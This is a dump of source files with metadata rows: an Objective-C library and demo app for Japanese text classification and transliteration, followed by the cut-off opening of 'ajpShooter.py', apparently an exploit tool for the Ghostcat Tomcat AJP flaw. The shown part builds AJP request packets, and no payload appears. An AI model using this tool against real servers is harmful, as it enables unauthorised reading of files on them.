3000 + + Kuten: + CJK Symbols and Punctuation (3000-303F): 3001 + Halfwidth and Fullwidth Forms (FF00-FFEF): FF0E, FF64 + + Touten: + CJK Symbols and Punctuation (3000-303F): 3002 + Halfwidth and Fullwidth Forms (FF00-FFEF): FF0C, FF61 + + Fullwidth characters of latain: + Halfwidth and Fullwidth Forms (FF00-FFEF): FF01-FF5E (correspond to 0021-007E) + + Fullwidth numeral: + Halfwidth and Fullwidth Forms (FF00-FFEF): FF10-FF19 + + see http://www.unicode.org/charts/ + */ /* The folllowing code was extracted from: * * http://www.tjhsst.edu/~jcranmer/c-ccov-old/src/trunk/mailnews/extensions/bayesian-spam-filter/src/nsBayesianFilter.cpp.gcov.html * * * */ #pragma mark - UNICODE Ranges #define IN_RANGE(x, low, high) ((low<=(x))&&((x)<=high)) #define IS_JA_HIRAGANA(x) IN_RANGE(x, 0x3040, 0x309F) #define IS_JA_KATAKANA(x) ((IN_RANGE(x, 0x30A0, 0x30FF)&&((x)!=0x30FB))||IN_RANGE(x, 0xFF66, 0xFF9F)) #define IS_JA_KANJI(x) (IN_RANGE(x, 0x2E80, 0x2EFF)||IN_RANGE(x, 0x2F00, 0x2FDF)||IN_RANGE(x, 0x4E00, 0x9FAF)) #define IS_JA_KUTEN(x) (((x)==0x3001)||((x)==0xFF64)||((x)==0xFF0E)) #define IS_JA_TOUTEN(x) (((x)==0x3002)||((x)==0xFF61)||((x)==0xFF0C)) #define IS_JA_SPACE(x) ((x)==0x3000) #define IS_JA_FWLATAIN(x) IN_RANGE(x, 0xFF01, 0xFF5E) #define IS_JA_FWNUMERAL(x) IN_RANGE(x, 0xFF10, 0xFF19) #define IS_JAPANESE_SPECIFIC(x) (IN_RANGE(x, 0x3040, 0x30FF)||IN_RANGE(x, 0xFF01, 0xFF9F)) #pragma mark - Char class Helpers typedef enum { char_class_space, char_class_others, char_class_hiragana, char_class_katakana, char_class_kanji, char_class_kuten, char_class_touten, char_class_kigou, char_class_fwlatain, char_class_ascii, }char_class; // // Returns the char_class for a given unicode char char_class getCharClass(unichar c){ if(IS_JA_HIRAGANA(c)){ return char_class_hiragana; }else if(IS_JA_KATAKANA(c)){ return char_class_katakana; }else if(IS_JA_KANJI(c)){ return char_class_kanji; }else if(IS_JA_KUTEN(c)){ return char_class_kuten; }else if(IS_JA_TOUTEN(c)){ return char_class_touten; }else if(IS_JA_SPACE(c)){ return char_class_space; }else if(IS_JA_FWLATAIN(c)){ return char_class_fwlatain; }else{ return char_class_others; } } #pragma mark - Public // // // +(SLGJapaneseStringType)japaneseStringTypeForString:(NSString*)string{ SLGJapaneseStringType aType = SLGJapaneseStringTypeOther; char_class lastCharClass = char_class_others; // loop through the string char by char for(int i = 0; i<[string length];i++){ unichar aChar = [string characterAtIndex:i]; char_class aCharClass = getCharClass(aChar); // first char set the type to a current type if(i==0){ lastCharClass = aCharClass; } else{ if(lastCharClass != aCharClass){ if(aCharClass == char_class_katakana || aCharClass == char_class_hiragana || aCharClass == char_class_kanji) return SLGJapaneseStringTypeCompound; return SLGJapaneseStringTypeOther; } } } if(lastCharClass == char_class_hiragana){ aType = SLGJapaneseStringTypeHiragana; } else if(lastCharClass == char_class_katakana){ aType = SLGJapaneseStringTypeKatakana; } else if(lastCharClass == char_class_kanji){ aType = SLGJapaneseStringTypeKanji; } return aType; } // // // +(BOOL)stringContainsJapaneseText:(NSString*)aString{ for(int i = 0; i<[aString length];i++){ BOOL isHiraganaOrKatakana = IS_JAPANESE_SPECIFIC([aString characterAtIndex:i]); BOOL isKanji = IS_JA_KANJI([aString characterAtIndex:i]); if(isHiraganaOrKatakana == YES || isKanji == YES) return YES; } return NO; } #pragma mark - Japanese String Transiliteration // // // +(NSString*)_transliterateString:(NSString*)source withTransform:(CFStringRef)aTransform{ CFMutableStringRef mString = CFStringCreateMutableCopy(kCFAllocatorDefault,0,(CFStringRef)source); BOOL result = CFStringTransform(mString,NULL,aTransform,NO); if(result){ NSString* resultString = [NSString stringWithFormat:@"%@",mString]; CFRelease(mString); return resultString; } CFRelease(mString); return nil; } // // // -(NSString*)stringByTransliteratingJapaneseToRomajiWithWordSeperator:(NSString*)separator{ NSMutableString* aLatinString = [[NSMutableString alloc]init]; // create a tokenizer CFStringTokenizerRef tok = CFStringTokenizerCreate(NULL, (CFStringRef)self, CFRangeMake(0,self.length), kCFStringTokenizerUnitWord, CFLocaleCreate(kCFAllocatorDefault, CFSTR("Japanese"))); // goto the first token in the string CFStringTokenizerTokenType result =CFStringTokenizerAdvanceToNextToken(tok); // enumerate until the end while(result !=kCFStringTokenizerTokenNone){ CFTypeRef cTypeRef = CFStringTokenizerCopyCurrentTokenAttribute(tok,kCFStringTokenizerAttributeLatinTranscription); if(separator){ [aLatinString appendFormat:@"%@%@",separator,cTypeRef]; } else{ [aLatinString appendFormat:@"%@",cTypeRef]; } CFRelease(cTypeRef); result =CFStringTokenizerAdvanceToNextToken(tok); } CFRelease(tok); return [NSString stringWithString:aLatinString]; } // // // -(NSString*)stringByTransliteratingJapaneseToRomaji{ return [self stringByTransliteratingJapaneseToRomajiWithWordSeperator:nil]; } // // // -(NSString*)stringByTransliteratingJapaneseToHiragana{ NSString* romaji = [self stringByTransliteratingJapaneseToRomaji]; return [NSString _transliterateString:romaji withTransform:kCFStringTransformLatinHiragana]; } // // // -(NSString*)stringByTransliteratingRomajiToKatakana{ return [NSString _transliterateString:self withTransform:kCFStringTransformLatinKatakana]; } // // // -(NSString*)stringByTransliteratingRomajiToHiragana{ return [NSString _transliterateString:self withTransform:kCFStringTransformLatinHiragana]; } // // // -(NSString*)stringByReplacingJapaneseKanjiWithHiragana{ NSMutableString* kanjiFree = [[NSMutableString alloc]init]; // create a tokenizer to enumerate by WORD CFStringTokenizerRef tok = CFStringTokenizerCreate(NULL, (CFStringRef)self, CFRangeMake(0,self.length), kCFStringTokenizerUnitWord, CFLocaleCreate(kCFAllocatorDefault, CFSTR("Japanese"))); // goto the first token in the string CFStringTokenizerTokenType result =CFStringTokenizerAdvanceToNextToken(tok); // enumerate the string while(result !=kCFStringTokenizerTokenNone){ CFRange currentRange = CFStringTokenizerGetCurrentTokenRange(tok); NSString* subString = [self substringWithRange:NSMakeRange(currentRange.location, currentRange.length)]; // check the type of the substring SLGJapaneseStringType type = [[self class]japaneseStringTypeForString:subString]; // for kanji or strings with a combination(kanij+hiragana) of characters convert to hirgana if(type == SLGJapaneseStringTypeKanji || type == SLGJapaneseStringTypeCompound){ NSString* hiragana = [subString stringByTransliteratingJapaneseToHiragana]; [kanjiFree appendFormat:@"%@",hiragana]; } else{ // othewise just append the substring as is [kanjiFree appendFormat:@"%@",subString]; } result =CFStringTokenizerAdvanceToNextToken(tok); } CFRelease(tok); return [kanjiFree copy]; } #pragma mark - Phonetic Methods // // // -(CGFloat)phoneticSimilarityToString:(NSString*)string{ return [self phoneticSimilarityToString:string isLatinScript:NO]; } // // // -(CGFloat)phoneticSimilarityToString:(NSString*)string isLatinScript:(BOOL)isLatinScript{ NSString* sourceString= self; if(isLatinScript==NO) sourceString = [self stringByTransliteratingJapaneseToHiragana]; __block NSMutableSet* sourceSet = [[NSMutableSet alloc]init]; [sourceString enumerateSubstringsInRange:NSMakeRange(0,[sourceString length]) options:NSStringEnumerationByComposedCharacterSequences usingBlock:^(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop) { if(isLatinScript==NO){ [sourceSet addObject:[substring stringByTransliteratingJapaneseToRomaji]]; } else{ [sourceSet addObject:substring]; } }]; NSString* targetString = string; if(isLatinScript==NO) [string stringByTransliteratingJapaneseToHiragana]; __block NSMutableSet* targetSet = [[NSMutableSet alloc]init]; [targetString enumerateSubstringsInRange:NSMakeRange(0,[targetString length]) options:NSStringEnumerationByComposedCharacterSequences usingBlock:^(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop) { if(isLatinScript==NO){ [targetSet addObject:[substring stringByTransliteratingJapaneseToRomaji]]; } else{ [targetSet addObject:substring]; } }]; CGFloat sourceTotal = [sourceSet count]; CGFloat targetTotal = [targetSet count]; CGFloat lengthRatio = fabsf(sourceTotal-targetTotal)/(MAX(sourceTotal,targetTotal)); // remove the source sounds from the target // the result are the target sounds not contained in the source [targetSet minusSet:sourceSet]; CGFloat adjustedCount = [targetSet count]; return (1- (adjustedCount/targetTotal)*(1-lengthRatio)); } @end
12,946
NSString+Japanese
m
en
limbo
code
{"qsc_code_num_words": 1063, "qsc_code_num_chars": 12946.0, "qsc_code_mean_word_length": 7.17215428, "qsc_code_frac_words_unique": 0.34242709, "qsc_code_frac_chars_top_2grams": 0.03659496, "qsc_code_frac_chars_top_3grams": 0.0115425, "qsc_code_frac_chars_top_4grams": 0.01469045, "qsc_code_frac_chars_dupe_5grams": 0.20724029, "qsc_code_frac_chars_dupe_6grams": 0.18048269, "qsc_code_frac_chars_dupe_7grams": 0.11017838, "qsc_code_frac_chars_dupe_8grams": 0.11017838, "qsc_code_frac_chars_dupe_9grams": 0.11017838, "qsc_code_frac_chars_dupe_10grams": 0.11017838, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03375056, "qsc_code_frac_chars_whitespace": 0.30882126, "qsc_code_size_file_byte": 12946.0, "qsc_code_num_lines": 412.0, "qsc_code_num_chars_line_max": 131.0, "qsc_code_num_chars_line_mean": 31.4223301, "qsc_code_frac_chars_alphabet": 0.81828342, "qsc_code_frac_chars_comments": 0.07369072, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.27333333, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00233489, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
00StevenG/NSString-Japanese
NSString-Japanese/SLGViewController.m
// // SLGViewController.m // NSString-Japanese // // Created by Steven Grace on 4/19/13. // Copyright (c) 2013 Steven Grace. All rights reserved. // #import "SLGViewController.h" #import "NSString+Japanese.h" #import "SLGDemoWindow.h" #import "SLGDemoLoupeView.h" @interface SLGViewController ()<UITextViewDelegate,SLGDemoWindowDelegate,UIGestureRecognizerDelegate> @end @implementation SLGViewController{ SLGDemoLoupeView* _loupeView; CAShapeLayer* _textViewSelectionLayer; CAShapeLayer* _outputSelectionLayer; } #pragma mark - Rotation -(BOOL)shouldAutorotate{ return NO; } #pragma mark - View Lifecycle // // // - (void)viewDidLoad { [super viewDidLoad]; _textViewSelectionLayer = [CAShapeLayer layer]; _textViewSelectionLayer.backgroundColor = [UIColor clearColor].CGColor; _textViewSelectionLayer.fillColor = [UIColor colorWithRed:0.788 green:0.867 blue:0.937 alpha:.75].CGColor; [self.visibleTextView.layer addSublayer:_textViewSelectionLayer]; _outputSelectionLayer = [CAShapeLayer layer]; _outputSelectionLayer.backgroundColor = [UIColor clearColor].CGColor; _outputSelectionLayer.fillColor = [UIColor colorWithRed:0.788 green:0.867 blue:0.937 alpha:.75].CGColor; [self.secretTextView.layer addSublayer:_outputSelectionLayer]; _loupeView = [[SLGDemoLoupeView alloc]initWithFrame:CGRectZero]; _loupeView.hidden = YES; _loupeView.loupeContentView = self.secretTextView; [self.view addSubview:_loupeView]; UILongPressGestureRecognizer* press = [[UILongPressGestureRecognizer alloc]initWithTarget:self action:@selector(_handlePress:)]; press.delegate = self; [self.view addGestureRecognizer:press]; self.visibleTextView.editable = NO; self.editableSwitch.on = NO; self.visibleTextView.delegate = self; NSString *jaText = @"『もののけ姫』(もののけひめ)は、宮崎駿によるスタジオジブリの長編アニメーション映画作品。1997年(平成9年)7月12日公開。森を侵す人間たちとあらぶる神々との対立を背景として、狼に育てられた「もののけ姫」と呼ばれる少女サンとアシタカとの出会いを描く。宮崎が構想16年、制作に3年をかけた大作であり、興行収入193億円を記録し当時の日本映画の興行記録を塗り替えた"; NSMutableAttributedString* attString = [[NSMutableAttributedString alloc]initWithString:jaText]; NSParagraphStyle* style = [NSParagraphStyle defaultParagraphStyle]; [attString addAttribute:NSParagraphStyleAttributeName value:style range:NSMakeRange(0,[attString length])]; NSMutableAttributedString* convertedAttString = [[NSMutableAttributedString alloc]initWithString:[jaText stringByReplacingJapaneseKanjiWithHiragana]]; [convertedAttString addAttribute:NSParagraphStyleAttributeName value:style range:NSMakeRange(0,[convertedAttString length])]; self.visibleTextView.attributedText = attString; self.secretTextView.attributedText =convertedAttString; } -(void)viewDidAppear:(BOOL)animated{ [(SLGDemoWindow*)self.view.window setHitTestDelegate:self]; } #pragma mark - Actions -(IBAction)editableSwitchAction:(UISwitch*)sender{ self.visibleTextView.editable = sender.on; if(sender.on) [_languageLoupeSwitch setOn:NO animated:YES]; } -(IBAction)languageLoupeSwitchAction:(UISwitch*)sender{ _segementedControl.enabled = sender.on; if(sender.on) [self.visibleTextView setSelectedRange:NSMakeRange(0,0)]; } #pragma mark - Window HitTestDelegate -(UIView*)viewForHitTest:(SLGDemoWindow*)window withPoint:(CGPoint)point event:(UIEvent*)event andOriginalView:(UIView*)originalView{ if(self.visibleTextView.editable) return originalView; if(!_languageLoupeSwitch.on) return originalView; if([originalView isDescendantOfView:self.visibleTextView]){ return self.view; } return originalView; } #pragma mark - Gesture Recognizer Delegate - (BOOL)gestureRecognizer:(UIGestureRecognizer *)gestureRecognizer shouldRecognizeSimultaneouslyWithGestureRecognizer:(UIGestureRecognizer *)otherGestureRecognizer{ return _languageLoupeSwitch.on; } #pragma mark - Gesture Handler -(void)_handlePress:(UILongPressGestureRecognizer*)press{ // NSLog(@"%s",__PRETTY_FUNCTION__); CGPoint point = [press locationInView:self.visibleTextView]; point.y = point.y -40; switch (press.state) { case UIGestureRecognizerStateBegan: [self _presentLoupeAtPoint:point]; break; case UIGestureRecognizerStateChanged: [self _updateLoupeWithPoint:point]; break; case UIGestureRecognizerStateEnded: [self _dismissLoupe]; break; default: break; } } #pragma mark - Language Conversion -(void)_updateSecretTextViewTextWithRange:(NSRange)range convertedRange:(NSRange*)convertedRange{ NSString* selectedString = [self.visibleTextView.text substringWithRange:range]; NSString* convertedString = nil; switch ([self.segementedControl selectedSegmentIndex]) { case 0: convertedString = [selectedString stringByTransliteratingJapaneseToRomajiWithWordSeperator:@" "]; break; case 1: convertedString= [selectedString stringByReplacingJapaneseKanjiWithHiragana]; break; default:{ [NSException raise:NSInternalInconsistencyException format:@"Unhandled case in %s",__PRETTY_FUNCTION__]; } break; } NSMutableAttributedString* mString = [[NSMutableAttributedString alloc]initWithAttributedString:self.visibleTextView.attributedText]; [mString replaceCharactersInRange:range withString:convertedString]; self.secretTextView.attributedText = mString; SLGJapaneseStringType type = [NSString japaneseStringTypeForString:selectedString]; switch (type) { case SLGJapaneseStringTypeHiragana: self.selectedTextLabel.text = @"Hiragana"; break; case SLGJapaneseStringTypeKanji: self.selectedTextLabel.text = @"Kanji"; break; case SLGJapaneseStringTypeKatakana: self.selectedTextLabel.text = @"Katakana"; break; case SLGJapaneseStringTypeCompound: self.selectedTextLabel.text = @"Compound"; break; case SLGJapaneseStringTypeOther: self.selectedTextLabel.text = @"Other"; break; default:{ [NSException raise:NSGenericException format:@"Unhandled case in :%s",__PRETTY_FUNCTION__]; } break; } convertedRange->location = range.location; convertedRange->length = [convertedString length]; } #pragma mark Loupe -(void)_presentLoupeAtPoint:(CGPoint)point{ _loupeView.hidden =NO; _textViewSelectionLayer.frame = self.visibleTextView.bounds; _outputSelectionLayer.frame = self.secretTextView.bounds; [self _updateLoupeWithPoint:point]; _outputSelectionLayer.hidden = NO; _textViewSelectionLayer.hidden = NO; [self.visibleTextView.layer insertSublayer:_textViewSelectionLayer atIndex:0]; [self.secretTextView.layer insertSublayer:_outputSelectionLayer atIndex:0]; } -(void)_updateLoupeWithPoint:(CGPoint)point{ UITextPosition* pos = [self.visibleTextView closestPositionToPoint:point]; id<UITextInputTokenizer> tokenizer =self.visibleTextView.tokenizer; UITextRange* textRange = [tokenizer rangeEnclosingPosition:pos withGranularity:UITextGranularityWord inDirection:UITextWritingDirectionLeftToRight]; if(!textRange) return; NSRange wordRange = [[self class] rangeForTextRange:textRange inTextView:self.visibleTextView]; CGRect caretRect= [self.visibleTextView caretRectForPosition:pos]; CGRect loupeFrame; loupeFrame.size = _loupeView.glassSize; loupeFrame.origin = [self.view convertPoint:caretRect.origin fromView:self.visibleTextView]; loupeFrame = CGRectOffset(loupeFrame,-loupeFrame.size.width/2,(-loupeFrame.size.height+10)); NSRange convertedRange; [self _updateSecretTextViewTextWithRange:wordRange convertedRange:&convertedRange]; UIBezierPath* magnifyPath = [[self class]pathForRange:convertedRange inTextView:self.secretTextView]; CGRect rectToMagnify; rectToMagnify.size =_loupeView.glassSize; rectToMagnify.origin = CGPathGetBoundingBox(magnifyPath.CGPath).origin; rectToMagnify = CGRectOffset(rectToMagnify,-rectToMagnify.size.width/2,(-rectToMagnify.size.height/2.5)); [CATransaction setDisableActions:YES]; _textViewSelectionLayer.path = [[self class]pathForRange:wordRange inTextView:self.visibleTextView].CGPath; _outputSelectionLayer.path = magnifyPath.CGPath; [CATransaction commit]; _loupeView.loupeContentRect = rectToMagnify; _loupeView.frame =loupeFrame; [_loupeView setNeedsDisplay]; } -(void)_dismissLoupe{ _loupeView.hidden = YES; _outputSelectionLayer.hidden = YES; _textViewSelectionLayer.hidden = YES; self.secretTextView.attributedText = self.visibleTextView.attributedText; } #pragma mark - Text Conversions and Paths +(NSRange)rangeForTextRange:(UITextRange*)textRange inTextView:(UITextView*)textView{ NSUInteger location =[textView offsetFromPosition:textView.beginningOfDocument toPosition:textRange.start]; NSUInteger length = [textView offsetFromPosition:textRange.start toPosition:textRange.end]; return NSMakeRange(location,length); } +(UITextRange*)textRangeForRange:(NSRange)range inTextView:(UITextView*)textView{ UITextPosition* startPos = [textView positionFromPosition:textView.beginningOfDocument inDirection:UITextLayoutDirectionRight offset:range.location]; UITextPosition* endPos = [textView positionFromPosition:textView.beginningOfDocument inDirection:UITextLayoutDirectionRight offset:(range.location+range.length)]; UITextRange* textRange = [textView textRangeFromPosition:startPos toPosition:endPos]; return textRange; } +(CGRect)rectForWordRange:(NSRange)range inTextView:(UITextView*)textView{ NSArray* selectionRects = [textView selectionRectsForRange:[self textRangeForRange:range inTextView:textView]]; UIBezierPath* bPath = [UIBezierPath bezierPath]; for(UITextSelectionRect* aRect in selectionRects){ [bPath appendPath:[UIBezierPath bezierPathWithRect:aRect.rect]]; } return CGPathGetBoundingBox(bPath.CGPath); } +(UIBezierPath*)pathForRange:(NSRange)range inTextView:(UITextView*)textView{ NSArray* selectionRects = [textView selectionRectsForRange:[self textRangeForRange:range inTextView:textView]]; UIBezierPath* bPath = [UIBezierPath bezierPath]; for(UITextSelectionRect* aRect in selectionRects){ [bPath appendPath:[UIBezierPath bezierPathWithRect:aRect.rect]]; } return bPath; } +(NSRange)rangeOfSubstringRangeBoundByRect:(CGRect)rect inTextView:(UITextView*)textView{ UITextPosition* start = [textView closestPositionToPoint:rect.origin]; UITextPosition* end = [textView closestPositionToPoint:CGPointMake(CGRectGetMaxX(rect),CGRectGetMaxY(rect))]; NSRange range = NSMakeRange([textView offsetFromPosition:textView.beginningOfDocument toPosition:start], [textView offsetFromPosition:start toPosition:end]); return range; } @end
11,860
SLGViewController
m
en
limbo
code
{"qsc_code_num_words": 877, "qsc_code_num_chars": 11860.0, "qsc_code_mean_word_length": 9.4640821, "qsc_code_frac_words_unique": 0.32383124, "qsc_code_frac_chars_top_2grams": 0.04578313, "qsc_code_frac_chars_top_3grams": 0.01506024, "qsc_code_frac_chars_top_4grams": 0.01156627, "qsc_code_frac_chars_dupe_5grams": 0.16024096, "qsc_code_frac_chars_dupe_6grams": 0.13590361, "qsc_code_frac_chars_dupe_7grams": 0.13590361, "qsc_code_frac_chars_dupe_8grams": 0.11951807, "qsc_code_frac_chars_dupe_9grams": 0.10963855, "qsc_code_frac_chars_dupe_10grams": 0.08289157, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00712311, "qsc_code_frac_chars_whitespace": 0.206914, "qsc_code_size_file_byte": 11860.0, "qsc_code_num_lines": 346.0, "qsc_code_num_chars_line_max": 210.0, "qsc_code_num_chars_line_mean": 34.27745665, "qsc_code_frac_chars_alphabet": 0.87507974, "qsc_code_frac_chars_comments": 0.03372681, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18965517, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00431034, "qsc_code_frac_chars_string_length": 0.02268761, "qsc_code_frac_chars_long_word_length": 0.01588133, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
00StevenG/NSString-Japanese
NSString-Japanese/SLGAppDelegate.m
// // SLGAppDelegate.m // NSString-Japanese // // Created by Steven Grace on 4/19/13. // Copyright (c) 2013 Steven Grace. All rights reserved. // #import "SLGAppDelegate.h" #import "SLGDemoWindow.h" #import "SLGViewController.h" @implementation SLGAppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { self.window = [[SLGDemoWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]]; // Override point for customization after application launch. self.viewController = [[SLGViewController alloc] initWithNibName:@"SLGViewController" bundle:nil]; self.window.rootViewController = self.viewController; [self.window makeKeyAndVisible]; return YES; } - (void)applicationWillResignActive:(UIApplication *)application { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game. } - (void)applicationDidEnterBackground:(UIApplication *)application { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } - (void)applicationWillEnterForeground:(UIApplication *)application { // Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background. } - (void)applicationDidBecomeActive:(UIApplication *)application { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } - (void)applicationWillTerminate:(UIApplication *)application { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } @end
2,364
SLGAppDelegate
m
en
limbo
code
{"qsc_code_num_words": 282, "qsc_code_num_chars": 2364.0, "qsc_code_mean_word_length": 6.5106383, "qsc_code_frac_words_unique": 0.55319149, "qsc_code_frac_chars_top_2grams": 0.07843137, "qsc_code_frac_chars_top_3grams": 0.02124183, "qsc_code_frac_chars_top_4grams": 0.0245098, "qsc_code_frac_chars_dupe_5grams": 0.05119826, "qsc_code_frac_chars_dupe_6grams": 0.02941176, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00448207, "qsc_code_frac_chars_whitespace": 0.15059222, "qsc_code_size_file_byte": 2364.0, "qsc_code_num_lines": 53.0, "qsc_code_num_chars_line_max": 282.0, "qsc_code_num_chars_line_mean": 44.60377358, "qsc_code_frac_chars_alphabet": 0.90986056, "qsc_code_frac_chars_comments": 0.03510998, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.075, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00745287, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
00theway/Ghostcat-CNVD-2020-10487
ajpShooter.py
#!/usr/bin/python3 # Author: 00theway import socket import binascii import argparse import urllib.parse debug = False def log(type, *args, **kwargs): if type == 'debug' and debug == False: return elif type == 'append' and debug == True: return elif type == 'append': kwargs['end'] = '' print(*args, **kwargs) return print('[%s]' % type.upper(), *args, **kwargs) class ajpRequest(object): def __init__(self, request_url, method='GET', headers=[], attributes=[]): self.request_url = request_url self.method = method self.headers = headers self.attributes = attributes def method2code(self, method): methods = { 'OPTIONS': 1, 'GET': 2, 'HEAD': 3, 'POST': 4, 'PUT': 5, 'DELETE': 6, 'TRACE': 7, 'PROPFIND': 8 } code = methods.get(method, 2) return code def make_headers(self): header2code = { b'accept': b'\xA0\x01', # SC_REQ_ACCEPT b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION b'connection': b'\xA0\x06', # SC_REQ_CONNECTION b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH b'cookie': b'\xA0\x09', # SC_REQ_COOKIE b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2 b'host': b'\xA0\x0B', # SC_REQ_HOST b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA b'referer': b'\xA0\x0D', # SC_REQ_REFERER b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT } headers_ajp = [] for (header_name, header_value) in self.headers: code = header2code.get(header_name, b'') if code != b'': headers_ajp.append(code) headers_ajp.append(self.ajp_string(header_value)) else: 